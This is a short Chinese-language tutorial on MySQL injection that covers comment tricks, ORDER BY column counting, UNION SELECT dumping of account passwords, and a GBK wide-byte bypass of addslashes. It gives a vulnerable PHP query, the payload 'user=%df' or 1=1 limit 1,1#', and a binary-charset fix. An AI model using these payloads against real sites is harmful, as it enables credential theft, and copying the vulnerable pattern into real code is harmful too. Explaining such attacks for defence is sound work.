MySQL 注入攻擊歷久彌新,典型步驟如下:
/* 或 #(MySQL 註解),如 id=1607 and 1=1/*。order by N 直到頁面報錯,得到欄位數。UNION SELECT 關聯使用者表,在前端顯示帳號密碼。需猜解表名與欄位名,如欄位數為 5:union select username,password,1,2,3 from user。mysql_escape_string() 或資料庫原生轉義函式;無原生函式時可用 addslashes() 兜底。近期專案中發現。當 PHP 開啟 GPC 或使用 addslashes/iconv 轉義,單引號 ' 會被加反斜線 \ 變為 \'(十六進位 %5C)。若資料庫連線字元集為 GBK 等寬位元組編碼,%df%5c 會被視為一個雙位元組字元「縗」,導致單引號「逃脫」:
%df\' = %df%5c%27 = 縗'
攻擊範例:
mysql_query("SET NAMES 'GBK'");
$user = mysql_escape_string($_GET['user']);
$sql = "select * from cms_user where username = '$user' and password='$pass'";
// 攻擊 payload: user=%df' or 1=1 limit 1,1#
// 實際 SQL: select * from cms_user where username = '縗' or 1=1 limit 1,1#' and password=''
初始化連線與字元集後,強制設定客戶端字元集為二進位:
mysql_query("SET character_set_client=binary");
此舉使驅動程式以二進位模式處理輸入,徹底杜絕寬位元組編碼導致的注入繞過。